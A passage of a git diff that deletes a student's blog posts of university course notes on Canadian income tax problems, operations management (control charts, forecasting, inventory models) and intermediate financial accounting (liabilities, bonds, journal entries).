Chapter 3, Problem 19 - -48,000 (gross) + 40,000 (bonus) - 4,000 (RPP) - 2,200 \* 0.5 (client related meals) - 5,200 (traveling expense) - 7,800 (airfare) - 500 (taxi) - 3,500 (gifts) + 350 ( planning benefit) + 150 (life insurance premium) - -Car cost: 36,000 - -- Standby Benefit = 0.02 \* 36,000 \* 12 = 8,640 -- Operational benefit = 9,900 \* 0.29 = 2,871 -- Reimbursement = 2,400 -- Automobile benefit = 8,640 + 2,871 - 2,400 = 9,111 - -
- -
Chapter 2, Problem 1 - -a. part-time resident with fresh-start Mar 1 -b. non-resident -c. part-time clean-break from canada as very little ties remain July 30 -d. common-law full time resident: education and family -e. deemed full time resident since more than 183 days in Canada (sojourned) - -
- -
Chapter 2, Problem 5 - -a. deemed resident because incorporated after April 26, 1965 -b. deemed resident because of control from canada -c. non-resident because not really controlled by Canada - -
- -
Chapter 3, Problem 3 - -1. taxable -2. taxable -3. tax deductible RPP contribution (company's contribution is tax free) -4. relocation allowance is a taxable benefit -5. fitness club is a taxable benefit because it benefit Rishma -6. financial planning is also a taxable benefit -7. not a taxable benefit, and the $200 is not deductible - -
- -
Chapter 3, Problem 23 - -125,000 - 6,750 (RPP) + 90 (group life insurance) + 640 (public health) + 9,600 (allowances) + 1,400 (wife) + 0.2 \* 2568 + 1,200 \* 3 (rent paid) + 1,500 \* 0.5 (half of the amount above 15,000 for loss on house sale) + 15,000 (moving allowance) + 2,000 (interest rates) + 0 (swimming pool is owned by the company, so no taxable benefit) - 12,000 (travel expenses) - 7,200 \* 0.5 (meals) - (1,300 + 1,050 + 180 + 120) \* 22,500 / 36,000 - 10,200 \* 22,500 / 36,000 - - - -
Chapter 4, Problem 1 - -1. The charity donations are a credit or something -2. Okay -3. Okay -4. Okay -5. Okay. equally over 5 years. -6. Capitalized for software. Landscaping is okay. -7. 50% for meals and entertainment. Picnic is 100% deductible -8. Not deductible -9. Not deductible since recreational? -10. .61 up to 5,000 and .55 after - -
- -
Chapter 4, Problem 11 - --2,330 (net income) + 6,650 + 462 \* 0.5 + 460 + 380 + 15,500 (self salary) - -
- -
Chapter 4 Problem 15 - --11,500 + 3,800 (amortization) - CCA + 1,500 \* 0.5 + 1,800 \* 0.5 + 12,000 + 2,200 - 380 + 21,200 (capitalize) + 2,350 \* (5/18) + 1,400 (home office is non-exclusive) + 1,200 (can't do provisions) - -
- -## Final Exam Studying - -Chapter 5, Problem 1 diff --git a/content/posts/university/bu-375-operations.md b/content/posts/university/bu-375-operations.md deleted file mode 100644 index a1ed9fc3f..000000000 --- a/content/posts/university/bu-375-operations.md +++ /dev/null @@ -1,773 +0,0 @@ ---- -title: "BU 375 Operations" -date: 2022-06-04T10:23:48-04:00 -draft: false -tags: - - university -summary: Notes and midterm review for the BU 375 Operations course taught at Wilfrid Laurier University. ---- - - - -While studying for the midterm, I discovered my own formulae shortcuts, undoubtedly due to "blind teaching syndrome" (I made that term up). So let's begin. I'll add a divider to let you know what is part of the midterm. - -{{< toc >}} - -## Appendix - -It's better to have the appendix at the top rather than the bottom, so that people know where to get the values for some examples. - -### Control Factors - -Out with the ugly table, and in with the new! -It's absurd that at $500+ per course and hundreds of students, universities do not collaborate with each other to make course curriculum/content, do not strive for perfect function (notes) and rarely place importance on aesthetics. - - - -| Sample Size (n) | A2 (x-chart) | D3 (R LCL) | D4 (R UCL) | -| --------------- | ----------------------- | --------------------- | --------------------- | -| 2 | 1.88 | 0 | 3.267 | -| 3 | 1.023 | 0 | 2.575 | -| 4 | 0.729 | 0 | 2.282 | -| 5 | 0.577 | 0 | 2.114 | -| 6 | 0.483 | 0 | 2.004 | -| 7 | 0.419 | 0.076 | 1.924 | -| 8 | 0.373 | 0.136 | 1.864 | -| 9 | 0.337 | 0.184 | 1.816 | -| 10 | 0.308 | 0.223 | 1.777 | -| 11 | 0.285 | 0.256 | 1.744 | -| 12 | 0.266 | 0.283 | 1.717 | -| 13 | 0.249 | 0.307 | 1.693 | -| 14 | 0.235 | 0.328 | 1.672 | -| 15 | 0.223 | 0.347 | 1.653 | -| 16 | 0.212 | 0.363 | 1.637 | -| 17 | 0.203 | 0.378 | 1.622 | -| 18 | 0.194 | 0.391 | 1.609 | -| 19 | 0.187 | 0.404 | 1.596 | -| 20 | 0.180 | 0.415 | 1.585 | -| 21 | 0.173 | 0.425 | 1.575 | -| 22 | 0.167 | 0.435 | 1.565 | -| 23 | 0.162 | 0.443 | 1.557 | -| 24 | 0.157 | 0.452 | 1.548 | -| 25 | 0.153 | 0.459 | 1.541 | - -## Operations Management Introduction - -### Transformation Process - -- General idea: inputs → transformation process → output -- Feedback between inputs ↔ process ↔ output -- Value is created -- Physical, locational, exchange, physiological, psychological, informational -- Value = Price consumers are willing to pay - Cost to produce - -#### Input - -- Materials, machines, labor, management, and capital -- These inputs are determined by the **requirements** for the output - -#### Output - -- Goods and services - -### Major Components of a Firm - -#### Primary Areas - -- Operations -- Marketing - - research, packaging -- Finance and Accounting -- Human Resources (HR) -- Outside Suppliers - -### Importance - -- Middle of the firm -- Opportunity to innovate (internally) -- Results in failure - -### Decisions - -- Design - - long-term - - Equipment, capacity, layout, location -- Day-to-Day Operations - - Scheduling, quality control, labor requirements, input procurement - -## Strategic Planning - -### Globalization - -- Thinking big -- Foreign markets, production, purchasing, partnerships -- Interests: cost, international, reliability - -### Missing Statement - -- What does the firm do and sell? - -#### Vision - -Direction of the firm in 10 years - -#### Values - -- Common beliefs - -### Consumer Exepectations - -### Order Qualifiers & Winners - -Price, [Quality](#quality), Variety (comparing to competitors), [Timeliness](#server-model), Convenience, Customer Service - -#### Order Qualifiers - -Basic criteria for product candidacy (functional) - -#### Order Winners - -Differentiating criteria (aesthetic) - -### Strategy - -- direction for achieving a mission -- consistency -- dependent on organization size - - formal (larger) -- mission statement - -#### Formulation - -- Primary task -- Core competencies (competitive advantage) -- Order qualifiers & winners -- Positioning (how to compete) -- Deployment - -### Positioning / Competitiveness - -- common goals -- collaboration -- expertise -- learning from past experiences -- cost - - waste elimination - - trades off with quality sometimes -- quality (reducing defects) -- flexibility - - ability to change internal processes to accommodate needs - - trades off with speed -- speed / delivery - - based on context - -### Key performance Indicators (Evaluation) - -1. Finances -2. Customers -3. Processes -4. Learning -5. Tools: balanced scorecard worksheet - -## Quality - -Fitness for use, design. (PDCA) plan, act check, do. - -### Products - -performance, features, reliability, conformance (to the design), durability, serviceability, aesthetics, safety, -perceptions - -### Services - -Time, completeness, courtesy, consistency, accessibility, accuracy, responsiveness, HARDER TO EVALUATE - -### Total Quality Management (TQM) - -- Continuous improvement -- Customer satisfaction -- Involves employees and management -- Performance tracking - -### W.E. Demmings - -- Statistical quality-control techniques -- Continuous improvement -- Inspect at stages before final -- Responsibility lies with management and employees -- Few suppliers & pick **quality > cost** - -### Six Sigma - -- Decrease process variation - -### Tools - -- Process Flowchart (location of problem) -- Cause-and-Effect (fishbone) diagram (find root cause) -- Check Sheet (form) -- Pareto Analysis (data collection) and Chart -- Scatter Diagram -- Control Chart - -### Cost of Quality - -Total = cost of achieving good quality + cost of poor quality - -#### Good - -- Prevetion -- Appraisal/Measuring - -#### Poor - -- Internal failure -- External failure - -#### Quality Index (QI) - -Measures quality cost against a base value (e.g. manufacturing, sales, labor hours, quantity) - - - -## Productivity - -### Single-Factor Productivity - - - -where Specific Input could be Labor, Materials, Capital. - -### Total Factor Productivity - - - -To calculate multi-factor productivity, use a subset of inputs. - -### Yield - - - -OR - - - -### Product Cost - -For this one, I have my own simplified formulas. - - - -This avoids calculating how many units were reworked. - -### Quality Productivity Ratio (QPR) - -Even for this one, I have my own method, but I'll include the original in case some information isn't given. - - - - - -## Statistical Analysis - -- A type I Alpha error is an error that wasn't supposed to fall outside the control limits. False-positive. -- A type II Beta error is an error that should've fallen outside the control limits. -- Variations are either random or assignable. -- `n` refers to sample size or number of observations, and `k` refers to the number of samples. -- `z` refers to the sigma count; either 2 or 3 -- UCL and LCL stand for upper control limit and lower control limit. - -### p-chart - -A p-chart is a control limit chart with relation to the proportion of defects. It is used when there are multiple observations per sample and defects are reported. - - - - - -### c-chart - -Similar to p-chart, except there is only 1 observation per sample. - - - - - - - -### x-chart - -A chart used for checking if process variability is in control. - - - - - - - - - -In the case σ is unknown, use the control factors table along with these formulas: - - - -### R-chart - -A range chart, to test if variability is in control. Use the control factors table to determine factor values or to help you figure out other factor values. - - - - - -### Reliability - -To improve reliability, - -- reduce number of components in a series -- increase backup components -- increase individual component reliability - -To calculate the reliability of a process, use these two functions. - -#### Series - -For components in a series (independents), multiply their reliability scores: - - - -#### Parallel (Backups) - -For components that are in parallel (i.e. backups exist), follow this schema, - - - -#### System Availability - - - -### Process Capability Index - -When design mean and process mean are the same use cp, otherwise cpk. - -If cp and cpk are >= 1, then the process is capable (99.70%). -If cp = cpk, then design mean and process mean are the same. - - - -I tweaked the formula for cpk. Instead of dividing both numbers by 3σ, divide only the min. - - - -The number chosen also represents which limit the process (mean) deviated towards. - -## Server Model - -- Poisson distribution -- First in First Out (FIFO) -- Infinite population because people served can re-join the queue - -The lambda variable refers to mean arrival rate and the mu variable refers to mean service rate. - -TODO: add table with formulas and descriptions - -## Simple Processes - -## Learning Curves - -## Capacity Planning - -*** -End of Midterm Review -*** - -## Supply Chain Management Strategy & Design - -- Chain of organizations and facilities, with varying activities -- Multi-tiered -- Activities - - forecasting, purchasing, product/process design, manufacturing, quality assurance, inventory management, distribution - -### Supply Chain Process - -1. **Procurement** of **raw materials** and services -2. **Production** of **product** and services -3. **Storage** of products in **inventory** -4. Taking orders and **distribution** of products to the customer - -### Supply Chain for Service Providers - -- Focuses on human resources -- Fewer tiers - -### Supply Chain Management (SCM) - -- Create maximum value for the end customer -- perfecting coordination and collaboration of components -- To provide enough supply at the right price, time, and place -- Systemic approach to manage entire flow of information, materials, and services from raw-materials to customers -- Competition becomes between supply chains rather than companies - -#### Bullwhip Effect - -- Supply chain members farther down the line get information after the members -nearer to customers. -- importance of transparency across members -- Safety stock issues -- Lack of accurate demand information -- Order batching results in less orders but larger quantities -- Price fluctuations -- Shortage gaming (placing orders more than is required bc inventory is short supply) -- **Solutions** - - Coordination by parties for pricing, transportation, and inventory management - - Joint demand information forecast - - Price stabilization - - Discouraging shortage gaming - -I believe a solution is for the supplier to force the orderer to -tell them when the next order will be. That way, a supplier won't have to decide -whether to anticipate more orders if batch ordering occurs. - -### Supply Chain Uncertainty - -- Inaccurate demand forecasting -- Long and Varying times for orders -- Late/Incomplete shipments -- Product changes and price fluctuations/discounts -- Batch ordering and inflated orders -- Failures cause chain reactions, leading to lag, lack of supply, and lower sales -- Inventory is used as insurance against uncertainty, however optimality needs to be determined - -### Supply Chain Coordination and Integration - -- Sharing information -- Coordinated workflow, production, and operations, procurement -- Adopt new business models and tech -- Collaborative Planning, Forecasting, Replenishment (CPFR) -- Enterprise Resource Planning (ERP) - -### Information Technology - -- E-Business -- Electronic data interchange (EDI) -- Barcode and point-of-sale (POS) data -- Radio Frequency Identification (RFID) -- Internet -- Blockchain - -### Supply Chain Performance - -- inventory turnover -- weeks of supply - - - -Average aggregate inventory value is the sum of average inventory times value for each item. - - - -Fill Rate = fraction of orders filled within a specific time period. - -- low inventory turnover indicates that a large amount of inventory is required to satisfy demand - -### SCOR Model - -- Plan -- Source -- Make -- Deliver -- Enable -- Return - -## Project Management - -A project is one-time and non-repetitive operational activities or efforts. Clear goal, limited time frame, -budget, schedule, resources. - -### Project Elements - -1. Objective -2. Scope -3. Contract requirements -4. Schedules -5. Resources -6. Personnel -7. Control -8. Risk and problem analysis - -### Project Manager - -- plans, schedules, executes, controls project -- meeting requirements -- keeps project on track, within budget, and meets quality standards -- makes trade-off decisions -- expedites work when needed -- resolves conflicts -- adapts - -### Project Management Process - -- Planning -- Scheduling -- Control - -### Work Breakdown Structure - -1. Identify **major components** of the project -2. Break down the major components into **sub-components** -3. Break down sub-components into **work packages** - -### Responsibility Assignment Matrix (RAM) - -- Organizational breakdown structure (OBS) shows which organizational units are responsible for work items -used to develop RAM - -### Gantt Chart - -- A visual aid for scheduling and control purposes - -### CPM & PERT - -- Critical Path Method (CPM) has deterministic task times -- Program Evaluation and Review Technique (PERT) has probabilistic task times -- network path: starting node to finishing node sequence -- critical path: longest network path; determines project duration -- critical activities: activities on the critical path -- slack time: allowable slippage for a path - -To calculate expected time of a single activity, use - - - -Where `a` is best case time, `m` is most likely, and `b` is worst case time. - -Thus the expected duration of a path (t_path) is the sum of activity expected times. - -The variance of each activity time is - -The variance of a path is then the sum of activity variances, and the variance of the *critical* path is also known -as the project variance. - -Like always, the standard deviation of anything is the square root of the variance. - -As for calculation probabilities, the probability of completing a project by a certain time isw - - - -Use z-table to get a probability representing p(x < deadline) where sigma is the std of the critical path. - -To calculate the deadline given a probability, use the z-table to get a z value, and then use the z formula to calculate. - -### Crashing - -With CPM and PERT some activities can be crashed. For crashing to have an effect on the project duration, the crashes -must reduce the time of the critical path or paths. A single crash might not have an affect on the project duration if there -was an equivalent critical path that didn't need that activity. - -Crashing information is stated as cost to crash completely (additional cost) as well as how many weeks can be crashed. Thus, -implicitly, activities can be crashed by a single week rather than the entire allowable crash time. - -## Demand Forecasting - -Projections of demand for products/services underlies strategic planning when it comes to plant or service -design. - -- often inaccurate -- forecasts of similar goods is more accurate than individual items -- forecast horizons increases uncertainty - -### Decision Based on Forecasts - -- Production and Operations - - aggregate planning - - inventory control - - scheduling -- Finance - - plant/equipment investment - - budgetary planning -- Marketing - - new product introduction - - sales-force allocation - - promotions -- Human Resources - - workforce planning - - hiring, layoff - -### Making Forecasts Useful - -- long enough to make it relevant - - typically for daily, weekly, or monthly sales demand for up to approximately two - years into the future, depending on the company and the type of industry. -- limitations on accuracy must be clearly stated -- forecasting method should be reliable -- operations forecasts should be expressed in units - -### Quantitative Forecasting Methods - -- Time-Series methods - - use historical data to project into the future - - naive method, moving average, weighted moving average, exponential smoothing -- Associative models - - independent casual variables - -#### Naive Method - -Assumes the demand for the next period will be the same as the previous period - -#### Moving Average - -As the MA-window increases, so too will the lag. - -For MA-2, do - - - -#### Weighted Moving Average - - - -#### Exponential Smoothing - - - -#### Adjusted Exponential Smoothing - -Incorporates a trend factor on top of exponential smoothing - - - - - -Where beta is a smoothing constant for the overall trend - -Example - -For the data given below, generate a forecast using adjusted exponential smoothing. -Assume alpha = 0.5 and beta = 0.3. - -An adjusted exponential smoothing forecast requires T2 to start the computational process. -For this case, assume T2 = 0. - -Period | Month | Demand | Forecast Ft | Trend Ti | Adjusted Forecast AFt ------- | ------ | ------ | ---------------------- | --------------------- | -------------------------------- -1 | JAN | 37 | 37.00 | - | - -2 | FEB | 40 | 37.00 | 0 | 37.00 -3 | MAR | 41 | 38.50 | 0.45 | 38.95 -4 | APR | 37 | 39.75 | 0.69 | 40.44 -5 | MAY | 45 | 38.37 | 0.07 | 38.44 - -Sample calculation - -F3 = alpha(D2) + (1 - alpha) F2 = 38.5 - -T3 = Beta(F3 - F2) + T2(1 - Beta) = 0.45 - -AF3 = F3 + T3 - -#### Seasonal Adjustments - -Course specific: seasonal adjustment factor (Sq) relative to -the total demand for some period. Use factor after a forecast to get each quarter's demand forecast. - - - -#### Forecast Accuracy - -et = Dt - Ft - -MAD = sum of | et | / n - -mean squared error = sum (e_t^2) / n - -mean absolute percentage deviation = sum (e_t) / sum (D_t) - -## Inventory Management - -### What is Inventory? - -- raw materials -- work in progress -- finished products -- packaging -- replacement parts -- goods-in-transit - -Important because assets are tied up in inventory. Too much inventory can increase costs -and reduce efficiency while too - -### Inventory Control Systems - -#### Continuous System - -- economic \[fixed] order quantity (EOQ) whenever the reorder point is reached -- inventory is continually monitored (costly) - -#### Periodic System - -- orders are placed on a fixed time interval -- order quantity = desired inventory level - inventory on hand -- less level of control - -### Economic Order Quantity (EOQ) - -- single product -- constant annual demand is known -- single delivery with constant lead time smaller than the order cycle -- no discounts - -Average inventory = Q / 2 - -Average inventory cost = Q / 2 * Cc \[holding cost per unit] - -Purchase orders per year = D / Q - -Annual order costs = D / Q * CO - -TC = Q/2 \* Cc + D/Q \* CO = Holding Cost + Ordering cost - - - -Slope = dTC / dQ = CC/2 - DC_O / Q2 = 0 - -#### Quantity Discounts - -Add PD to total cost where price is per unit and D is demand. - -If quantity is feasible done, otherwise compare with the minimum for each -proce discount level larger than EOQ. - -### Economic Production Quantity - -Receive quantity incremetally while inventory is being depleted. - - - -Where p is the production rate per day and d is the demand rate per day. - -Inventory max = (Q/p)(p-d) - -TC = I/2 * Cc + D/Q * CS = Holding Cost + Setup cost per run - -### Reorder Point (Constant Demand) - -Ensure that the time unit is the same. - -### Reorder Point (Variable Demand) - -R = demand rate \* lead time + Safety Stock - - - -Use table for z depending on % service level. e.g. 95% → z = 1.65. Service level is the probability that demand won't be greater than quantity of goods in stock. - -### Periodic Order Quantities (Variable Demand) - -Q = average demand rate \* (time between orders + lead time) + z sigma (sqrt (t + L)) - I - -### Single Period Inventory Model - -Shortage Costs = revenue per unit - cost per unit - -Excess Costs = cost per unit - salvage value - -SL = C_S / (C_E + C_S) (round up to closest cumulative probability in table) diff --git a/content/posts/university/bu-397-intermediate-financial-accounting-II.md b/content/posts/university/bu-397-intermediate-financial-accounting-II.md deleted file mode 100644 index f1c16ff87..000000000 --- a/content/posts/university/bu-397-intermediate-financial-accounting-II.md +++ /dev/null @@ -1,1949 +0,0 @@ ---- -title: "BU 397 Intermediate Financial Accounting II" -date: 2024-01-08T17:26:07-05:00 -draft: false -tags: - - university - - accounting -aliases: - - /posts/bu-397-intermediate-financial-accounting-II - - /posts/university/bu-397 -summary: "Detailed notes and summaries from a university course on Intermediate Financial Accounting II, covering liabilities, bonds, shareholders' equity, complex financial instruments, income taxes, EPS, leases, pensions, and accounting changes." ---- - -{{< toc >}} - -- Lots of content for this class. -- Focus on IFRS which has been GAAP since 2011 for Canadian publicly traded companies - -## Chapter 13 - -- Financial liabilities vs other -- Current liabilities -- Identify and account for employee-related liabilities -- Decommissioning and restoration obligations - -IFRS Related - -- IAS 37 Provision, Contingent Liabilities and Contingent Assets -- IAS 16 Property, Plant and Equipment -- IAS 1 Presentation of Financial Statements - -### What is a Liability - -#### IFRS - -- Present obligation to transfer resource due to a past event - -#### ASPE - -- Duty to responsibility to others -- Little to no discretion to avoid the obligation -- Relates to a transaction - -Obligations are legal or constructive and can be enforced. A constructive obligation is an expectation to do something but isn't written. - -An example is how Best-Buy allows 60 -day returns even though the law is 30 days and Best Buy does not state they can do 60 days. - -### Financial vs. Non-financial Liabilities - -Financial Liability - -- Deliver financial assets -- Exchange financial assets under unfavorable conditions - -Non-Financial Liability - -- Payable with non-financial resources (i.e. goods and services) -- **Income taxes payable** is considered a non-financial liability - -### Measurement - -SFP - Statement of financial position - -Measurement | Financial Liabilities | Non-financial Liabilities ---------------------- | -------------------------- | ------------------------------ -At acquisition | Fair Value | IFRS: at best estimate at the date of SFP to settle president obligation, ASPE: no standard -After acquisition | Amortized cost (short-term liabilities at maturity value) | SEE ABOVE -Examples | Accounts payable, Notes payable, Current portion of long-term debt, Dividends payable, Rents/royalties payable, Customer advances and deposits, Taxes payable, employee- related liabilities, | Provisions related to assurance warranty, future dismantling and retirement of assets, unearned revenue, … - -### Current Liability Examples - -- Bank Indebtedness (line of credit, revolving / flexible loan facility) -- Accounts payable (i.e., trade accounts payable) - - Credit term of 2/10 n30 means 2% off in 10 days net of 30 days - - Ordinary business activities -- Notes payable - - Written promise to pay - - Could be interest-bearing or non-interest bearing (in which case, we borrow at the present value of the note) - - $100,000 four-month, 12% note on March 1st. Statements made on June and December. - - on June 30th, credit interest expense amount to interest payable - - non-interest bearing $100,000 four-month, 12% discount rate, present value (PV) of $96,154, on March 1st. - - 96,154 = (100,000 / (1 + 12% * 4 / 12)) - - On March 1st, borrow the present value - - On June 30th, credit interest expense amount to **notes payable** -- Current Maturities of Long-Term Debt - - Classified as current liabilities unless the payment is with non-current assets - - Due on demand loans -- Short-Term Debt Expected to be Refinanced - - For both standards, use **under an existing agreement** - - IFRS: If refinanced to >=12 months (at date on the statements), reclassify as long-term debt - - ASPE: If the debt will be refinanced to >=12 months by the time the financial statements are issued, reclassify as long-term debt - - Financial statements date: when statements are prepared or given - - Reporting date: the date the financial statements are reporting on -- Cash Dividends Payable -- Preferred Dividends in Arrears -- Rents and Royalties Payable -- Taxes payable: sales tax, goods and services tax, income tax -- Employee-Related Liabilities - -### Taxes Payable - -- Sales tax is not a value-added tax. An example is provincial sales tax (PST) that is a separate sales tax -- Goods and Services Tax (GST). If companies charge customers, they can deduct input tax credit -- Harmonized Sales Tax (HST). Same as GST. - -Value-added Tax Example - -```txt -Accounts receivables 3,390 - Sales revenue 3,000 - HST payable 390 -``` - -Paid supplies $2,000 for the merchandise. Input tax credit = $260. - -Hence, net HST payable = 390 - 260 = 130. - -HST is refundable. Carousel scheme where Canada issues refunds when the first companies did not remit the tax. - -#### Income Tax - -- Suppose $21,000 has been estimated and no installments were made - -```txt -Current tax expense 21,000 - Income tax payable 21,000 -``` - -- Suppose $20,000 tax instalment was made at year end - -```txt -Income tax payable 20,000 - Cash 20,000 -``` - -- Suppose $23,000 tax instalment - -```txt -Income tax payable 21,000 -Income tax receivable 2,000 - Cash 23,000 -``` - -If tax instalment payments are made every 3 months, we need a year end adjusting entry. - -- Case underpaid tax: Either a debit to current tax expense and a credit to income tax payable OR -- Case overpaid tax: Debit to income tax receivable and credit to current tax expense - -#### More Current Liabilities - -- Cash dividend payable - - Corporation declared a dividend - - Stock/share dividends are not a liability -- Rents and Royalties payable - - from contractual agreement -- Customer advance and deposits - - returnable cash deposits or customer advance - -### Employee-Related Liabilities - -- Payroll deductions - - Employee income tax - - Canadian Pension Plan (CPP) - - Employment Insurance (EI) premiums - - Union Dues (discretionary) - - Required employer contributions - - CPP - - EI Premium equal 1.4 times employees' EI contribution - -```accounting -# employee deduction -Salaries and wages expense 6,000 - CPP contributions payable 500 - EI premiums payable 100 - Union dues payable 50 - Employee income tax deductions payable 1,500 - Cash 850 -``` - -```accounting -# employer required -Payroll tax expense 640 - CPP contributions payable 500 - EI premiums payable 140 -``` - -### Short-Term Compensated Absences - -- statutory holidays; vacations -- Either **accumulated rights** or **non-accumulating compensated absences** (e.g. paternity leave) - -### Profit-Sharing and Bonus Agreements - -- regular rates of pay, productivity, or company profits -- obligations are current liabilities - -### Decommissioning and Restoration Obligations - -- Construction and operation of long-lived assets sometimes create obligations associated with the eventual retirement -- Asset retirement obligation (ARO) or site restoration obligation ; credit -- Recognized in the period incurred -- IFRS - - constructive (like what is expected by the public) and legal - - capitalized costs include acquisition only - - production is inventory or product costs -- ASPE: legal obligations - - capitalized costs might include all obligations but the production is as they occur -- ARO is a future cost, so capitalize the present value of the cost over the asset's useful life - - Supposed $600,000 ARO cost and a 8% discount rate in five years. Therefore 600,000 / 1.08 ** 5. -- Incremental ARO costs: - - IFRS: inventory or production costs - - ASPE: capitalized - - Since ARO is a present value, charge Interest Expense under IFRS and Accretion Expense under ASPE - - Suppose 20% of ARO is because of production-related. - - Use 80% for the journal entry - - For IFRS add the ARO production cost to overhead costs and for ASPE debit the drilling platform - - Straight-line depreciation on the asset over 5 years - - for IFRS, we know the amount beforehand - - for ASPE, depends on the incremental capitalized costs - - Accrue the interest - -```accounting -# Under IFRS -Interest expense 26,134 - ARO 26,134 -# Under ASPE -Accretion expense 26,134 - ARO 26,134 -``` - -Suppose that the ARO increased by $88,203 (present value based on the future ARO cost due to the production) - -```accounting -# Under IFRS -Inventory 88,203 - ARO 88,203 -# Under ASPE -Drilling Platform 88,203 - ARO 88,203 -``` - -Under IFRS COGS increases whereas under ASPE Depreciation expense will increase subsequent years. - -Suppose upon dismantling, there is a higher cash payment that the ARO. - -```accounting -ARO 600,000 -Loss on Settlement of ARO 10,000 - Cash 610,000 -``` - -### Production Guarantees - -Warranty is a promise to correct problems. Expense approach is still used for assurance-type warranties and revenue-approach is for service type warranties. - -- Assurance-type warranty: built into the price -- Service-type warranty: separate performance obligation - -- expense-approach: expense as occurred but recognize more if total cost > already-recognized expense - - if there is an estimated warranty cost that was not incurred, expense the remaining estimate as warranty expense as at year-end and into warranty liability - - deduct expenses related to warranty from the warranty liability account first before recognizing expensing the warranty expense account on income statement -- revenue-approach: recognize unearned revenue, expense as occurred, recognize revenue as performance obligation is satisfied - - if future warranty cost exceeds unearned revenue, recognize a loss and a liability immediately. (onerous contract) - -```accounting -# During the year 2023. Assume 30,000 is the estimated warranty cost. -Accounts receivable 1,000,000 - Revenue 1,000,000 -Warranty expense 10,000 - Materials, Cash, Payables 10,000 -# Adjusting Entries on Dec. 31, 2023: -Warranty expense 20,000 - Warranty liability 20,000 -``` - -```accounting -# As actual warranty costs incur in 2024 -Warranty expense 25,000 - Materials, Cash, Payables 25,000 -# At year end, we need to adjust the liability account (no longer have liabilities) -# credit warranty expense to liability account -Warranty liability 20,000 - Warranty expense 20,000 -``` - -### Loyalty Programs - -- Purchase are partially loyalty points which is unearned revenue for IFRS 15, optional under ASPE -- $100,000 products purchased, 10,000 points earned, 45% gross profit, 9,500 points estimated to be redeemed -- One point worth $1 distributed for every $10 - -- Loyalty Points Unearned Revenue = $9,500 -- Proportion of goods/services = $100,000 \* (100,000 / (100,000 + 9,500)) = $91,324 -- Proportion of loyalty points = 100,000 - 91,324 = 8,676 - -```accounting -Cash 100,000 - Sales revenue 91,324 - Unearned revenue 8,676 -``` - -```accounting -COGS 55,000 - Inventory 55,000 -``` - -- Question: when do loyalty points hurt the store? - -For expense method, the premiums expense is based off the difference. So (Price - Cost) multiplied by the number of units (redemption and then expected - redemption). - -### Contingency - -- IFRS: - - contingent liability: in notes and not recognized - - **more likely than not** is a provision: this is recognized and is a liability and a loss - - do not disclose or recognize contingent gains - - not a provision -- ASPE: likely - - recognize as loss - -### Commitments - -- financial guarantee contract. - -one party (the guarantor) contracts to reimburse a second party for a loss incurred if a third party (the debtor) does not make required payments when due - -- ASPE: Follows the loss contingency standards -- IFRS: Fair Value, MAX(loss allowance, initial). Consider time value of money. - -### Financial Statement Analysis - -- Current Ratio = Current Assets / Current Liabilities -- ACID test ratio = (cash + marketable securities + net receivables) / current liabilities -- Days payable outstanding = Average trade accounts payable / average daily cost of goods sold or average daily cost of total operating expenses - -## Chapter 14 - -### Long-Term Debt - -- Not payable within a year - -### Bonds - -- Why issue bonds? Capital required is too large for a single lender -- Purchased in small denominations -- Bond indenture (contract) - - Coupon rate - - Coupon payment dates - - Face (par) value - - [SEC example](https://www.sec.gov/edgar/search/) -- Issuing company sells bonds to investment banks which markets and sells to investors -- Prospectus filing and subject to securities regulation - - Do non-publicly traded companies also need to do this -- Private sale does not require filing -- Who pays for rating? - -### Common Types of Long-Term Debts - -- Registered Bonds - - Issues in the owner's name -- Bearer Bonds - - Whoever bears the bonds is owed the money -- Secured debt - - Mortgage bond or notes - - Collateral trust bonds -- Income bons -Revenue bonds -- Deep discount bonds or notes -- Commodity-backed debt -- Callable bonds and notes -- Convertible debt - -### Defeasance - -- When company is not allowed to pay back debt before maturity date, - - Legal: Give money to a trust to do it for you - - Creditor agrees accept payment from trust (is this a must?) - - Creditor gives up its claim to the company -- In-substance defeasance - - Company does not inform creditor - - no derecognition - -### Bonds Issued at Discount or Premium - -To calculate the market price or proceeds, we need to sum the present value of the face value as well as present value of the ordinary annuity. Use a present value factor where periods is the years times the number of payments per year and the rate is the effective interest rate divided by the number of payments per year. - -- IFRS: effective interest rate amortization - - periods = coupons per year \* maturity in years - - amt = coupon per period not per year -- ASPE: effective interest rate amortization or straight line - -```accounting -# fair value transaction -Cash $800,000 Dr. - Bonds Payable $800,000 Cr. - -# Jul 1, 2023 -Interest expense $40,000 Dr. - Cash $40,000 Cr. - -# Dec 31 -Interest Expense $40,000 Dr. - Interest Payable $40,000 Cr. -``` - -```accounting -# discounted bond of $100,000, 10%C, y=12% -Cash $88,700 - Bonds Payables $88,700 -``` - -```accounting -# Interest expense = beginning carrying amount * effective market yield (divide by number of payments per year) - = 88,700 * 12% = $10,644 - -Dr. Interest expense 10,644 - Cr. Cash (coupon payment) 10,000 (=100,000*10%) - Cr. Bonds payable 644 -``` - -### Bonds Issued Between Interest Dates - -```accounting -# in this example 10% coupon, semi-annually, 12% yield, $100,000 par value -Dr. Cash 96,750 - Cr. Bonds payable 95,083 - Cr. Interest payable 1,667 (= 5,000 x 2/6 ) -``` - -### Zero-Coupon Marketable Securities - -- marketable meaning money that is given in the future is sold at the present value -- Company issued a bond with face value of 10,000 but the cash proceeds was 7,721.80. - -7721.80 = 10,000 / (1 + r)^3 - -### Non-Marketable Instruments with non-market rates - -- Government grant of 100,000 with 10% discount rate? - -```accounting -Cash 100,000 - Notes payable 62,092 - Buildings 37,908 -``` - -### Notes Issued for non-cash proceeds (Property, Goods, or Services) - -- if marketable security, use the fair value -- otherwise, - - could discount with cashflow - - fair value of assets received - -### Fair Value Option - -- Every period update to fair value -- IFRS: fair value only if it results in more relevant information -- Put unrealized gains in OCI which will be wiped when debt is paid off - - Example: Higher credit risk means that the market value of debt is lower (higher return = higher risk) -- ASPE: allows fair value option and no OCI so recognize in net income - -### Extinguishment of Debt - -- When debt is extinguished, it is derecognized -- Carrying value = maturity value; no gain or loss -- Repayment before maturity date - - Prior to maturity: reacquisition price - - Carrying amount = maturity value +- unamortized discount or premium and issuance costs - - if carrying amount > reacquisition price: gain - - if reacquisition price > carrying amount: loss - -To calculate unamortization amount: - -- straight-line method: - - initial gain/loss divided by the number of years multiplied by number of year remaining on the bond - - so if buying back a bond at 101 sold at a loss of 24,000 (97 of 800,000) 8 years later with a maturity of 20: `24,000 / 20 * 12 = 14,400` - - reacquisition price - face value + unamortized amount gain (subtract the loss) = loss/gain - - 808,000 - 